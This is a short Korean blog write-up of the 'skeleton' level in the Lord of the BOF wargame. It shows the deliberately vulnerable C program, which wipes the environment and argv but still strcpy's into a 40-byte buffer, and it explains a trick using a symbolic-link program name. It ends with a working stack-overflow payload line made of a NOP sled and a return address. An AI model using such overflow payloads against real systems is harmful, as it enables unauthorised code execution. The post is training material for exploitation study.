[LOB] vampire -> skeleton
2018. 4. 1. 16:58
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } | cs |
시작
에그헌터 + 버퍼헌터+ argv헌터!!
다 잡아버리네 ㅂㄷㅂㄷ....
하지만 실행프로그램 이름은 환경변수 끝에 저장되어있어서... 이것만은 안지워진단 사실!
이것을 이용하자...
저기있다. 또 심볼릭 링크가 필요하다.
심볼릭 링크 완료~
음? 코어덤프를 뜰 생각이였는데 그만 성공해버렸다...
운이 좋군;;
payload : ./`python -c 'print("\x90")'`* `python -c 'print("\x90"*44+"\x84\xff\xff\xbf")'`
'Wargame > LOB' 카테고리의 다른 글
[LOB] golem -> darkknight (0) | 2018.04.02 |
---|---|
[LOB] skeleton -> golem (0) | 2018.04.01 |
[LOB] troll -> vampire (0) | 2018.04.01 |
[LOB] orge -> troll (0) | 2018.04.01 |
[LOB] darkelf -> orge (0) | 2018.03.31 |